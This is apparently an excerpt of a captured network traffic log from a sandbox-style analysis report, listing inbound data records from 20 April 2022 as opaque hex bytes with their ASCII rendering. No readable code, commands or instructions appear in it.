e1 b5 96 b8 a2 e8 9e 98 e2 6e e7 31 8e 2e 4d 1f c0 1e cb da 77 b3 c9 47 10 1a ae ad 27 25 68 78 21 39 62 18 23 5c 5d 7d 5b ea 22 03 4a 26 72 20 a6 20 f9 32 32 0a 30 d3 Data Ascii: I~+<74(Bh<dHukS<na Y?\|#K8-w3]faj?-P<<2jC4M>CQZ6Ace-rV`'i*O4XXo\|f'I0Yj)PPn1.MwG'%hx!9b#\]}["J&r 220
2022-04-20 13:31:40 UTC	107	IN	Data Raw: 03 f5 ef b2 ec 20 f2 5a 88 8e 8e 98 37 91 b4 7d bf 14 f3 80 51 a8 a8 ad 36 76 7f 70 78 5f d8 9e 84 69 40 2d 99 5c cd 12 e9 6c 18 76 59 4b df 0c 2d 9a c0 c5 ce 20 c3 97 cc d3 5c ef fc d1 85 e4 b6 03 83 e4 11 73 6e 0f 32 95 83 ad cb 14 2a dd 67 c1 de 93 af 5a 69 13 75 54 b1 17 58 9e 4e 18 69 a0 03 5c df 83 e8 7c 01 15 99 ee 82 e7 f5 b6 f9 a7 91 03 34 85 b9 d9 e5 e1 89 02 0f 4d 0f 9c 30 8b 11 26 29 c1 a3 07 62 81 5f 44 06 3b ed 25 df c7 ba 3c 58 4e 1f 7a 18 92 18 da ca cf 47 8b f2 aa 67 fc 5a d6 6a 35 68 7d ce f9 28 57 03 bf db c9 66 6f 06 2f 94 d6 c1 02 f7 73 99 5f 43 0c b2 48 0f 4f 88 d7 4f c6 fb 03 f3 7c 3a ad 62 21 4e eb 2c 06 1e 4f 47 3b d5 64 40 63 93 bc 1e 20 7f 61 67 45 89 81 88 f7 ea fc 59 47 00 7a 8a 85 e9 91 74 01 cc ba 0e 16 a8 c5 01 3b 97 2f f2 Data Ascii: Z7}Q6vpx_i@-\lvYK- \sn2*gZiuTXNi\\|4M0&)b_D;%<XNzGgZj5h}(Wfo/s_CHOO\|:b!N,OG;d@c agEYGzt;/
2022-04-20 13:31:40 UTC	108	IN	Data Raw: 38 39 b3 ad 2d 2f 74 60 1f 39 0a 13 0e 5b f5 70 86 6e 53 16 48 0e 7e 2e 8e c8 e9 35 33 2e 0d 95 71 cb 6d 61 dc 95 58 97 d3 74 62 ef 0c 25 20 77 b2 78 0b 0e d9 25 b2 62 b5 9e d6 ae df 7b ab 29 a2 80 01 40 14 57 fd d9 89 c5 69 44 88 a1 e9 60 63 7a 93 85 50 df 03 12 bf 38 4b 99 b4 a1 b6 92 63 15 29 98 72 b1 9d af 47 5a 27 c4 96 fa c3 24 47 b0 42 7e 07 55 a0 d3 f8 a1 af 3d 9d 86 df 07 20 35 d8 7f 5e d2 cb af 0e 76 30 67 58 09 19 ea 73 04 6f 3d 90 89 73 b0 44 14 ed cd cd 44 68 4b 06 4f 4a 0a 39 db 1c a8 d0 06 6f 4d bd ee 95 5d a3 c8 0a a8 c9 dd 3d d4 8e a7 c9 c9 e7 26 22 c7 8e ef 69 27 82 b7 a3 37 43 63 b8 08 71 0a 59 59 aa 96 40 19 be cc 38 40 43 02 d8 38 52 25 93 ca bd 74 b2 ac c2 88 0b f8 f7 95 86 da 67 fa 8d 34 3e b2 7a bb 32 f0 89 47 06 e4 f3 da b5 ae 56 Data Ascii: 89-/t`9[pnSH~.53.qmaXtb% wx%b{)@WiD`czP8Kc)rGZ'$GB~U= 5^v0gXso=sDDhKOJ9oM]=&"i'7CcqYY@8@C8R%tg4>z2GV
2022-04-20 13:31:40 UTC	109	IN	Data Raw: 23 49 1c 6a 41 89 87 f6 a6 f4 eb a1 40 3d 7a f4 4f 87 96 7f 10 d3 b5 e9 4c a2 cc 07 38 81 b0 57 3f c8 f7 ad 7d a1 f0 55 1b 06 ba 33 0b 42 29 1f 54 a5 20 d9 d5 b0 16 26 27 d2 47 f5 92 76 42 75 2c 0c 36 3c 18 21 61 1c 5f f8 1f 22 2d 3b 00 04 62 08 ca 3d 07 be 54 fa 75 9c 22 45 4a a6 8f 1e 64 6d 7e 59 31 29 a2 9e 3c da 8a 80 d8 6b ed d0 5f 0b eb 5e 20 d2 29 33 fe bf e9 27 c5 af 75 33 c2 2c f6 db cc 6e 7b 60 09 5d ad 0f 4d ea ff f3 fb 03 8d 22 1d 06 39 ae 3c 7e df f9 3d 11 10 55 ec 79 e3 1c 42 80 ed 10 5d e2 49 9d 81 ea 14 2f 0f d1 4c f4 67 d4 70 90 6d de 60 cd ef aa aa 44 70 5c 2c 1e b4 ec 49 cc 83 00 27 6f 7e 6d 96 fc 32 c1 5f 32 c2 cd fc 70 33 36 8b 1b 86 59 95 01 25 14 76 6d 3a 1a 4c 94 da 27 e0 8b f0 c2 cc f8 b6 e3 21 0c aa 60 96 be a5 4a 6c 20 a1 b6 9b Data Ascii: #IjA@=zOL8W?}U3B)T &'GvBu,6<!a_"-;b=Tu"EJdm~Y1)<k_^ )3'u3,n{`]M"9<~=UyB]I/Lgpm`Dp\,I'o~m2_2p36Y%vm:L'!`Jl
2022-04-20 13:31:40 UTC	110	IN	Data Raw: 49 ce 43 1b 68 68 c4 27 28 5b 0a a8 0c c1 5f 7a 0f 51 9c 58 76 f8 c2 8c 77 d3 50 24 b2 43 15 67 72 d6 4f f5 f7 d4 dc 7d 35 b6 69 09 50 fc 1c 04 36 09 44 3b df f3 60 67 82 ac 25 11 47 34 6e 6d b2 81 99 ef d9 f7 a0 6e 33 70 9b 8f ae b4 75 01 cc 8a 1f 5b b7 db 3a 0a 97 3e ea 6f df 0b 52 84 54 e3 03 26 29 ba 39 2b 56 52 51 43 a7 2a bc e0 9a 38 2c 34 d1 a1 15 95 5c 45 4d 25 65 15 3e 18 2b 72 18 2c c5 1e 22 2b 4c 07 03 73 66 a7 7d 05 ab 5e 95 7b 83 22 4f 24 b2 bd 1a 6e 78 75 61 53 eb a2 9e 3f a3 b7 92 da 61 ed eb 1e 19 ed 70 29 f8 28 35 e2 bf d6 23 c5 a3 4b 23 e8 3d f9 cf d9 7b 10 08 30 5d a7 14 66 8e 41 e7 f9 09 af 02 c2 d2 3f 86 c6 57 98 fc 52 5d 38 7b e7 16 a8 35 4d 82 d5 05 74 c1 49 8c 8d ea 79 2b 0f dd 57 d5 7f c4 74 9a 7d c5 13 c8 fe a4 ed 4a 70 5c 2c 60 Data Ascii: IChh'([_zQXvwP$CgrO}5iP6D;`g%G4nmn3pu[:>oRT&)9+VRQC*8,4\EM%e>+r,"+Lsf}^{"O$nxuaS?ap)(5#K#={0]fA?WR]8{5MtIy+Wt}Jp\,`
2022-04-20 13:31:40 UTC	111	IN	Data Raw: 3f c4 22 d7 e1 07 65 6f 88 74 fa 6a b1 cc 1d b4 d7 23 1b dd 9f ac b7 1c d6 ee 00 11 aa fe 68 25 8e 8e 92 24 ce 3f ad 1e 58 2a 4d 48 b5 97 cc ac 99 dd 57 7e 57 14 fa 18 5f 33 88 d0 a9 ac 9a 77 d1 98 09 f1 f4 dc 95 c9 6e 84 c2 24 30 a5 67 ad 53 56 99 48 28 dd f6 db bf 8c 16 3d 01 8e eb 0b b4 c4 41 ac a8 fd 55 e4 d8 15 29 a8 ce d1 35 ed 13 f0 6d d2 87 52 e1 81 e7 c4 03 ea ed b2 e0 22 fe 5a 80 8e 8e 98 86 a4 a7 76 da ad f6 91 5e ab f2 53 c9 89 d2 5d 68 54 ab b4 82 78 47 29 69 4e c6 61 bf 2f 19 77 30 07 d9 1d 22 6e 2c cf d9 f0 bf a9 df da 47 cd d5 66 ba 6b 27 c1 7d e3 3d 62 68 5f 03 bd 7a af cb 12 45 97 65 c1 d4 7d aa 72 9f 6d 74 52 de 2f 5a 9e 44 2d c7 a0 02 54 f7 24 e8 20 0b 7a d8 d2 83 e1 e4 2a d0 db 93 15 32 ea 8e db e5 eb a1 be 3f 49 05 f5 42 8b 11 e7 3a Data Ascii: ?"eotj#h%$?XMHW~W_3wn$0gSVH(=AU)5mR"Zv^S]hTxG)iNa/w0"n,Gfk'}=bh_zEe}rmtR/ZD-T$ z2?IB:
2022-04-20 13:31:40 UTC	113	IN	Data Raw: 4d 73 ed 16 75 0b 49 9d 9a d4 48 29 37 11 41 fd 4f c4 65 96 75 08 2c e3 f2 a7 8a 22 16 5e 26 7b e3 8f 61 90 8d 16 25 50 f3 7c 9d e5 12 c9 27 3b e0 d7 e7 79 26 18 99 0e 80 47 7a 08 21 66 5e 97 3d 09 4f 96 eb 27 e2 8b e7 ec cf 02 b7 c9 33 1c 91 1d 96 af a5 45 94 28 a5 a6 b4 4d 46 df 87 50 f9 b9 fe bc 68 b9 8e e0 97 8f 34 63 fe 3b 9d 28 85 0f c6 01 0f 25 76 9f d5 4e 01 1f 81 b7 38 2f 60 4e 24 28 0c 00 dd 5d cd 7b 59 e8 55 0c 5b 20 78 3b 88 d3 04 33 18 0a 5f 93 78 ae 8f 68 ca 8e 5c 07 77 65 b8 ed 19 2c d7 4e ca 7f 1d 03 d3 3e a5 6b 3e 89 ca 3f 1f 57 a7 32 9f d2 04 41 14 4c e6 cd 9c 4c 7e 43 f6 a0 fe 9e 68 41 4a fd 4a d8 03 09 ae 36 48 76 bc 17 db be 67 2d 12 76 8a 21 b2 98 46 50 3a 3a b9 2d 19 41 48 99 ac 75 14 55 d9 0a f3 ce a2 14 73 8d c8 d7 5c e9 ca 72 7f Data Ascii: MsuIH)7AOeu,"^&{a%P\|';y&Gz!f^=O'3E(MFPh4c;(%vN8/`N$(]{YU[ x;3_xh\we,N>k>?W2ALL~ChAJJ6Hvg-v!FP::-AHuUs\r
2022-04-20 13:31:40 UTC	114	IN	Data Raw: 25 fb 66 1a 60 ce c7 d0 e5 e4 b5 73 ca 89 14 1a b9 8a db e3 49 b0 bf 17 65 51 b0 43 8d b3 31 20 df 9a 54 77 86 71 70 16 21 f8 43 c8 3c bb 3a 58 4c 1e 04 d7 80 0d c6 07 d4 49 92 ce bf 76 e2 d3 cd 4f 0a 6d 6c c9 48 1f 44 0a a2 21 c3 7e 7b 1e 33 f1 6f 74 3d c8 f8 6a a0 45 3d a1 45 0e 43 a0 65 4e f3 fd b4 2d 6d 21 a7 b4 32 5b e9 08 13 0b a5 f3 09 12 ca 45 4b d3 ae 0d 34 28 03 66 45 83 a9 88 e5 f5 e1 b4 4e 3d 7c f4 9c 87 96 7f d1 de a2 3f 5e 9f c9 12 29 9d 0d f3 11 22 1b 5a aa d8 e5 70 39 44 87 32 01 57 05 d6 41 a7 20 c2 d8 8c 10 c7 25 d8 9f e0 19 5b 45 5f 2d 5e 3c 2d 0e 37 70 14 77 ef 1f 22 27 fd 13 12 71 75 d9 2a 13 bf 43 77 27 81 22 44 58 a5 ae 02 72 7c e3 48 29 c2 3a 9e 2d a3 8e 9a ce f1 cb f3 09 1f fd c2 20 ed 28 33 fe 84 ee 57 c9 a9 5d 0b d1 27 ed c2 d9 Data Ascii: %f`sIeQC1 Twqp!C<:XLIvOmlHD!~{3ot=jE=ECeN-m!2[EK4(fEN=\|?^)"Zp9D2WA %[E_-^<-7pw"'qu*Cw'"DXr\|H):- (3W]'
2022-04-20 13:31:40 UTC	115	IN	Data Raw: f6 b7 ac 47 5a 21 1e a7 d1 19 4b 45 67 5c ae 3c 71 b4 c2 f8 b0 b9 3d 9d 86 db c6 22 38 a4 67 74 e0 d0 83 aa a1 33 61 31 37 11 fb 74 0f 24 27 b2 98 5d 89 7e 3c fc c7 e5 61 07 7b 0e 67 16 67 2c d1 34 f5 fa 20 67 65 94 ff 8c 38 a5 cd 1b af f9 86 2d d9 99 c5 f7 df d6 e4 19 1f 9e cd 7e 2d a0 b7 a7 20 c4 56 88 0a 70 13 69 65 ba a6 47 b5 84 d3 2e ff 42 02 d3 5a d9 33 82 c7 20 e2 b4 6f be 8b 19 f6 d6 c3 1f ca 68 ed ee 0a 32 a3 7c b9 23 7b 87 59 37 9a e0 da bf 8c 6e f3 01 9f e6 41 a7 c0 67 bb f6 d1 5e 9d 55 02 d7 ab e0 7a 3d ea 03 e4 1c 6a 97 53 eb 55 fb c1 3a c1 f1 3e bb 31 f6 73 b8 a6 aa 90 58 ae 9a 18 a4 00 ee 1d 05 91 2a ac 20 5e 28 49 79 55 f2 d8 93 61 29 10 64 5f c7 3c 09 2c 19 70 30 75 db 1d 22 a1 18 d7 eb 37 b5 88 df d3 56 cd 34 e1 87 ee d3 1b af e1 31 73 Data Ascii: GZ!KEg\<q="8gt3a17t$']~<a{gg,4 ge8-~- VpieG.BZ3 oh2\|#{Y7nAg^Uz=jSU:>1sX* ^(IyUa)d_<,p0u"7V41s
2022-04-20 13:31:40 UTC	116	IN	Data Raw: 98 a0 9e 27 ba 8e 93 c9 75 cf a9 1a 08 ed 4e 85 fb 28 33 f5 83 f2 37 ed 31 5d 10 c8 04 1f c8 c8 75 f3 19 32 5d ac 16 72 f0 9e f1 75 52 87 29 c1 fa c1 ae 3c 5c b0 19 3d 17 32 6c 3b f4 c6 34 4d 85 fe 18 63 d2 44 8b 98 d1 73 d5 0e db 47 ee 40 d2 67 84 18 cd 2c cf e9 b3 92 1b 63 48 0e 19 ff ee 4f df 02 11 2f 78 a5 6d bf fe 18 fc 36 35 c2 cd f8 70 3f bc 88 3d 91 49 08 58 0d 6f 77 cf 2d 2b 51 8c e0 1c f5 8b f6 e0 7a ed 94 f6 13 15 a1 0f 82 a7 2e 0b 6a 29 88 b0 bb 41 7f da 96 cc f9 9b f6 a3 0a a9 86 f0 89 04 f3 4a f6 19 12 2e 85 14 e6 0f 21 cd e7 9f d7 56 33 0c 29 85 36 24 73 42 37 37 1b 3d 3b cc cd 76 4a d8 49 8c 60 37 78 2a 84 dd e8 23 25 12 66 0f 73 c1 78 7f 47 83 50 19 65 77 ac e8 08 1e b5 4f e6 70 2d 1f d9 39 8b 02 2b 8f d7 d7 93 7c ab 23 9a a9 17 54 03 6e Data Ascii: 'uN(371]u2]ruR)<\=2l;4McDsG@g,cHO/xm65p?=IXow-+Qz.j)AJ.!V3)6$sB77=;vJI`7x*#%fsxGPewOp-9+\|#Tn
2022-04-20 13:31:40 UTC	118	IN	Data Raw: dd 7b ba 2e 19 70 30 90 d9 1d 22 9e 27 d7 d2 49 92 a1 ce d5 47 d7 34 ef 84 ee df 51 48 e4 17 68 44 1b 20 ae 63 71 d2 00 6d c2 39 c1 d4 88 87 cd 41 1f 67 7a 20 36 50 9e 44 2b a8 fd 03 56 fd f8 f9 65 26 6d c9 ff aa 8f e0 b3 d7 b4 d0 02 32 ec 88 ca f5 84 67 a4 0f 47 13 a7 5a 9f 02 30 49 fd b3 01 75 95 67 c4 14 28 fd 59 ed d7 a0 29 48 74 1e 3d 24 92 18 d6 07 cf 73 b5 c8 7c 74 e0 58 c8 53 3e 56 ca 3f d8 d7 57 2a bf db c9 4f 6f 2f 2f bf d6 c1 02 81 76 99 5f 9b 33 97 61 32 4f 88 dd 5c ee 88 b2 28 7c 3f bb 4a 0f 4f f8 16 dc 1c 2d 6e 3c ff db 40 22 b6 aa 0d 30 47 34 64 a1 8f 81 99 a8 f5 eb a7 77 2b 74 9b 87 86 96 75 01 c6 a2 3f 5f b7 dd 12 2f 97 3e e0 93 2f 0a 52 1b 78 e5 70 26 2b ba 33 1c 51 3d 6d 5a 97 25 d3 66 99 38 26 f7 d8 99 e6 bc a6 44 5f 2a 46 59 29 1a 21 Data Ascii: {.p0"'IG4QHhD cqm9Agz 6PD+Ve&m2gGZ0Iug(Y)Ht=$s\|tXS>V?WOo//v_3a2O\(\|?JO-n<@"0G4dw+tu?_/>/Rxp&+3Q=mZ%f8&D_FY)!
2022-04-20 13:31:40 UTC	119	IN	Data Raw: 3f 61 66 63 b2 f4 37 41 2d 4f e0 52 70 0a c8 2b 8b ca 2c 8f d7 b2 69 79 ab 29 f4 c5 01 40 1e 4e dd b1 84 5f 7e 6b 9b a2 e8 66 41 cc 4a ea 5f ad 74 1a a8 23 2c f0 bf 3b d3 9d 4a 68 27 89 73 f6 e4 aa 47 56 18 b3 8c 2c 1f 38 38 b3 42 7e 7b 27 b4 c2 f8 c6 80 41 99 8c ce f5 4d 25 cb 74 5d 9f de ab 20 d1 44 65 5e 12 7c 83 7c 1c 0a 3d b9 09 7d 98 61 3c 93 c3 e5 6d 40 ca 08 67 1a 7b 4e d3 34 f5 bd 7e 67 65 94 e6 bd d5 b4 cc 1d 8d 52 0f 2e df b7 0b db dd d0 9d 7d 3f 8f e5 00 4c 8a a6 ad 36 c6 56 c1 0a 70 13 5b 92 ac 92 45 80 97 fe 56 78 42 7c a8 29 5e 39 8a d7 37 ac de 74 d1 94 63 8a de eb 9b a6 5d e9 81 2f 23 a4 67 ad 11 48 e6 0c 2e b2 fb d2 ae 82 6e b8 01 9f e6 1f f6 c7 41 a0 a8 cf 56 e4 d8 11 d0 bb 96 d0 38 d2 e0 f7 02 14 90 df c4 5f e8 e0 38 c2 fc b5 e2 20 f2 Data Ascii: ?afc7A-ORp+,iy)@N_~kfAJ_t#,;Jh'sGV,88B~{'AM%t] De^\|\|=}a<m@g{N4~geR.}?L6Vp[EVxB\|)^97tc]/#gH.nAV8_8
2022-04-20 13:31:40 UTC	120	IN	Data Raw: 30 70 33 21 b1 2c 1b 79 e9 6c 41 ad 08 43 da 98 3e 0e f2 d8 99 fd 98 54 6d 66 2c 4d 20 05 32 20 61 1c 58 d6 24 22 2d 55 2f 03 64 6f 15 20 06 ab 54 fd 06 56 23 45 4d ae bb 0b 60 43 34 5d 31 ec cd 4f 2c a9 99 af df 67 ea 25 18 09 eb 58 1e ed 2c 5c 26 96 e6 25 d2 73 4e 1f d1 29 c4 07 c8 7f 7f 59 36 4c a8 13 0f 32 8d e6 ff 10 81 38 c4 c3 3c b9 53 85 99 fa 3b 04 3f 73 c5 4b eb 34 4b 95 eb 3e 53 c1 49 97 a3 fb 5b 2f 05 e2 c8 fd 4f c4 65 97 43 67 29 cf e9 88 10 0e 72 5a 30 59 80 ee 49 c0 9c 1a 3e 7f 8c ed 99 ef 3c c2 b5 3f ea da ee 58 4e 1e 99 19 95 54 95 02 25 10 74 6d 36 1a 42 8c f9 1c 70 8f f6 ec f0 3c b7 e5 36 17 8b 0a 91 96 36 5d 6a 2f a1 31 9b 50 5d da a9 2b e8 bf e7 a6 9e cb 99 e9 9e 9e f1 64 f0 3b a6 be 81 1e c6 71 46 da 77 b5 cd 4d 01 16 dc 90 26 24 75 Data Ascii: 0p3!,ylAC>Tmf,M 2 aX$"-U/do TV#EM`C4]1O,g%X,\&%sN)Y6L28<S;?sK4K>SI[/OeCg)rZ0YI><?XNT%tm6Bp<66]j/1P]+d;qFwM&$u
2022-04-20 13:31:40 UTC	121	IN	Data Raw: c5 4b a1 b4 ef 56 e4 d8 08 c8 8a 1c d2 3d ea 03 e4 0d 05 89 44 f4 6a 74 f0 24 d0 cd 52 ea 31 f6 ee bf 81 96 b2 dd a4 b6 7d 29 16 f9 88 4b a1 b6 bc 39 6c 2c c1 79 5f de 11 93 77 5d 1a 08 c3 dc 1b 9a 0f 88 76 5f 5a 45 0c 27 af 1d 65 ce 26 ac 3c df dc 48 e7 cd d1 85 ee 45 2f 8d fb 1e 7d 37 82 26 b2 65 a5 eb e0 45 ea 65 5d c5 8d b5 79 80 26 e9 43 d1 3f 56 be d1 30 c7 a0 9f 47 f8 3b e5 5c da 7a d8 ef 1e f0 eb ac df fb 5c 03 32 ea 12 ca ea f4 ae ba 39 d1 14 bb 5c 9b 0e 51 a6 d7 bd 1e 62 a6 a9 d2 07 3b 77 5b ef d9 a8 25 20 c3 08 1a c1 80 07 8b 88 d1 6d bc cb b5 05 6a 58 d1 5d 0e 77 45 58 36 27 59 1c 88 d8 da 6f 7e 93 2f 91 47 61 1d 39 8c 66 a0 d9 37 bd 56 07 6f 53 d7 4f f3 67 b6 25 63 2c af 06 bd 5e f7 03 18 3e 8d 44 3b d5 47 51 6c 9d b1 12 79 db 25 6b 5a 95 a1 Data Ascii: KV=Djt$R1})K9l,y_w]v_ZE'e&<HE/}7&eEe]y&C?V0G;\z\29\Qb;w[% mjX]wEX6'Yo~/Ga9f7VoSOg%c,^>D;GQly%kZ
2022-04-20 13:31:40 UTC	123	IN	Data Raw: bb f0 b1 81 35 f8 e8 9e 99 f1 62 f0 3d 98 31 8f 83 d1 12 6a e3 76 b3 d6 4a 19 09 bd bb 34 29 4b 85 24 39 0a 08 2d 4d ec e7 48 fe 40 13 27 21 79 2a 84 d9 ca 37 e9 b7 4e 97 71 d0 7b 41 6c 80 50 1f 4c 5a b9 fc 15 20 b3 5c e0 6b 0e 1f ce 05 59 6a 2f 89 be 8b 1e 7b a1 0b 3d b9 03 46 3c bc f4 c8 86 30 32 43 e7 ac fb 69 78 6b 5e 67 03 de 03 19 bb 25 52 84 ab 24 99 08 73 19 4c b1 74 de 90 b9 dd 43 36 03 86 04 be 4f 4f b7 6a 4d 15 5f bc d4 68 dd a2 2d 94 a4 6f d9 33 27 e3 4b 74 e0 d0 bc bc b1 34 14 65 19 13 fd 6d 14 11 3d 80 8f 16 d9 66 14 eb d6 ed 7a 62 24 31 66 1c 0e 28 d9 25 f8 bd 39 64 65 98 ff 9d 7f 18 c8 1b a3 be 48 2f d9 99 ac c9 d5 b9 28 0b 3d 85 31 60 11 a0 8b a7 20 c4 2a b3 20 5e 19 4c 42 61 80 47 89 b8 0f 44 75 53 0f c3 25 d0 84 bd ee cc 3c 5a 70 fb 9e Data Ascii: 5b=1jvJ4)K$9-MH@'!y7Nq{AlPLZ \kYj/{=F<02Cixk^g%R$sLtC6OOjM_h-o3'Kt4em=fzb$1f(%9deH/(=1` ^LBaGDuS%<Zp
2022-04-20 13:31:40 UTC	124	IN	Data Raw: 4a e2 fe b1 3c e0 24 b5 75 37 d3 e9 19 1a 08 b7 55 3e cc cd dc 72 87 b0 1b ae 56 31 7f 53 15 90 9c f9 e3 77 b6 43 31 62 07 98 83 88 63 9d d7 a7 20 56 a1 41 03 2c 88 34 f6 9c 39 0f 4d 89 69 79 61 36 34 b6 25 9d 40 38 73 4c b1 bc c2 db 87 36 30 bb c9 9c e8 9b 4a d9 4e 29 22 fc 3d 18 2b 69 73 86 ff 1f 28 2f 49 00 8a d5 0d 12 3c 07 a1 59 d2 24 81 22 4f 42 d2 77 1b 64 61 75 87 14 cf 8a b3 2d a9 95 91 dc 70 e3 97 1c 0a eb 52 7b f9 2a 33 fe ed ee 0f c3 a1 32 4d c2 2c f6 14 e0 85 7e 48 34 77 ab 2f 61 fd 8c e6 f9 03 91 29 67 6f 39 bb 21 56 98 fb 3f 17 2e 7b 51 ab e9 3e 4d 84 ed 16 66 f1 4d 9d a2 c1 5b 2f d3 db 41 ec 59 d7 79 a8 71 f5 2d cf ef b1 8f 15 7f a2 27 5d f2 d6 c2 c4 8f 16 30 76 b7 73 9d fe 37 f5 32 c5 eb f0 f3 61 3e 0f 93 85 95 59 9b 1f 1e 62 76 7c 31 13 Data Ascii: J<$u7U>rV1SwC1bc VA,49Miya64%@8sL60JN)"=+is(/I<Y$"OBwdau-pR{*32M,~H4w/a)go9!V?.{Q>MfM[/AYyq-']0vs72a>Ybv\|1
2022-04-20 13:31:40 UTC	125	IN	Data Raw: b4 28 ce 28 b0 17 7c e7 4d 64 b5 91 53 93 75 ca 52 67 4f 11 da 2b 4f 3b 9d c9 cd c2 89 7f e9 af e7 09 23 f4 81 da 60 eb 90 2d 29 5d 77 86 30 42 2f 4c 2e b4 0f d1 be 86 1b d0 0b 9f fd 6c 92 3b 40 86 d7 f9 4d 8b 5e 03 d7 a0 84 bd 57 15 fd 08 1b 07 8e 52 fa 57 f6 1f 2a eb eb 99 6f 2e ff 61 a6 8e 9f 9a 4f 5a b7 51 b6 1f e5 99 54 80 22 bb c8 77 20 48 6e 4c d6 8d 93 70 59 16 9b 5e e1 16 ad 2a 21 18 a1 a5 26 14 5b df 3f c6 c4 0c b2 a2 e6 c0 66 c0 5b c7 86 ee d9 e0 82 e4 06 74 7b 14 0f bb 79 af cb 12 54 e0 7a cd 2a 83 86 60 8e 14 5d 9e de 20 50 12 16 30 c7 a1 10 53 e8 29 fb 76 0b 6b d2 f0 98 1f e5 9f dd dd bb 8b 30 ea 84 c8 ed f4 ba b6 05 4d 14 be 5c 9c ef 21 16 cf 8a cc 71 86 77 cd 1f 28 e1 4a f1 cc a5 24 a0 5e 35 12 ca 80 1d cf 0b d3 68 a3 ce a0 78 eb b7 df 6e Data Ascii: ((\|MdSuRgO+O;#`-)]w0B/L.l;@M^WRWo.aOZQT"w HnLpY^!&[?f[t{yTz*`] P0S)vk0M\!qw(J$^5hxn
2022-04-20 13:31:40 UTC	126	IN	Data Raw: 67 54 14 0a e8 74 1c 11 3f 8c 77 78 b4 6f 2c 10 3a 1a 94 76 58 06 67 0d 02 22 2f 35 d3 c6 09 65 4d b6 ec 95 5d af dc 71 73 f9 0b 2f d9 95 a0 c4 ce dc ee 1b 37 95 11 6e 18 9e af af 08 df 39 b8 02 1f 29 4e 48 b5 a8 47 84 af d3 44 7c 59 11 d8 2b 4f 39 9d cb cd c2 89 7f e9 ec 18 f6 dc f4 9f da 62 eb 90 2f 2f ad 88 ab 10 7b 9e 60 a5 b0 f1 d0 33 6f 01 c3 02 8c e9 7b 85 d6 4b aa d6 f0 4b f7 2c 03 fb ac ba b4 22 fe 11 fd 02 05 8c 4d f7 a1 e9 cd 0a d6 ea a6 c2 88 f2 72 a8 98 03 95 58 a4 b7 69 a1 13 de 09 54 91 20 85 27 76 0c 41 6a 5a c1 90 91 72 46 14 6f 49 33 15 aa 2c 0e 65 55 5a c8 17 37 ad c3 c7 e2 24 87 a5 f6 26 aa 38 a4 c0 80 c4 c7 3c 99 d4 1d 62 20 1f 37 bd a5 af cb 03 5a fa e8 ee d4 82 ab 61 99 00 73 44 c8 bc 4b 98 53 26 5b b1 05 4e e1 b8 f9 7a 12 6c 44 fe Data Ascii: gTt?wxo,:vXg"/5eM]qs/7n9)NHGD\|Y+O9b//{`3o{KK,"MrXiT 'vAjZrFoI3,eUZ7$&8<b 7ZasDKS&[NzlD
2022-04-20 13:31:40 UTC	127	IN	Data Raw: 14 6a fc 72 e7 d5 05 8f 3a c7 cc 2a a4 3c 47 92 e5 31 e9 39 57 e1 70 c1 5c 4c 84 e7 05 7c de 44 8e 81 c2 4a 25 10 ca bf fc 63 d2 72 81 6f de 90 cb ef a6 aa 29 72 5c 2c 1e a0 ee 49 cc 90 04 3c 72 a4 6f 97 f6 c4 eb 0b 20 fb d9 ee 58 72 1d 99 19 ae 71 85 09 07 47 cd 69 3c 0f 61 be f2 34 ee 29 ec f9 d2 fc a7 ef 2f 0d 7c 1a ba b8 88 0c 75 23 9a a9 9f 41 51 d3 8b ae e9 93 eb a4 91 a9 a4 72 93 87 e9 7d eb 31 9f 24 9b e0 c1 32 02 cd 64 b5 c3 4e 03 10 b3 bc 2d 3b 61 b6 25 15 00 08 2b 4b 37 6e 53 e4 42 05 42 26 69 20 96 30 fb 1e 3f 1e c3 8f 71 c1 7f 7a cf 9d 43 13 64 72 b2 e3 0a c8 28 63 ea 6b 0d 1f cf a3 14 59 9f 90 c7 d2 14 7b ba 29 8d 43 02 6c 17 51 e6 c2 80 4e 72 5c f1 58 e9 4c 6b 46 4c d2 77 20 fc e7 ae 46 1d 88 bd 31 f3 8b 60 3d 30 b9 76 de b9 af 47 50 d3 12 Data Ascii: jr:*<G19Wp\L\|DJ%cro)r\,I<ro XrqGi<a4)/\|u#AQr}1$2dN-;a%+K7nSBB&i 0?qzCdr(ckY{)ClQNr\XLkFLw F1`=0vGP
2022-04-20 13:31:40 UTC	129	IN	Data Raw: d3 ca c9 bb 65 c1 d5 20 bb 7a 88 09 f9 03 de 20 5b 3c 55 38 d3 b4 17 7e 6f 24 e8 76 23 6b d8 ef 88 f2 e0 b4 c5 f3 1d 07 32 ec 96 56 e2 eb a1 a4 1c 45 14 bc 55 90 00 26 ec 4a e3 01 73 87 d5 c3 0f 2c f7 5b e6 10 a1 2b 58 89 c3 99 8f 93 18 d1 b6 d1 6a b7 cb be 4f 6e 49 de 48 33 79 7d c4 2d 3b 41 1b ac 25 7d 6f 7e 05 21 8e 70 e7 3f c2 86 77 a6 9f 31 68 56 30 5e 8f ff e8 f3 fb ad 35 6c 1d 21 60 21 45 2e 03 3b 43 f1 57 3e dd ca 45 4b f7 a8 0d 38 cb 6e 64 45 88 a9 6a e5 f5 e1 ab 57 2a 63 4d 9a 80 87 73 10 cf 9c 01 a0 48 22 1a 01 30 3e e0 0a 22 d4 40 aa 52 e5 70 39 03 40 32 01 57 37 44 6f a7 20 d9 00 98 3e 0c 27 d8 d8 eb 94 5c 45 5f 2c 4d 2a 3c 18 21 1b 1d 5f fe 65 23 2d 5f 10 04 62 62 d5 3d 07 aa 4f ca 72 81 24 44 4b bd 58 1a 64 7a 7d 53 33 fc cd 6f 2c a9 95 9d Data Ascii: e z [<U8~o$v#k2VEU&Js,[+XjOnIH3y}-;A%}o~!p?w1hV0^5l!`!E.;CW>EK8ndEjWcMsH"0>"@Rp9@2W7Do >'\E_,M<!_e#-_bb=Or$DKXdz}S3o,
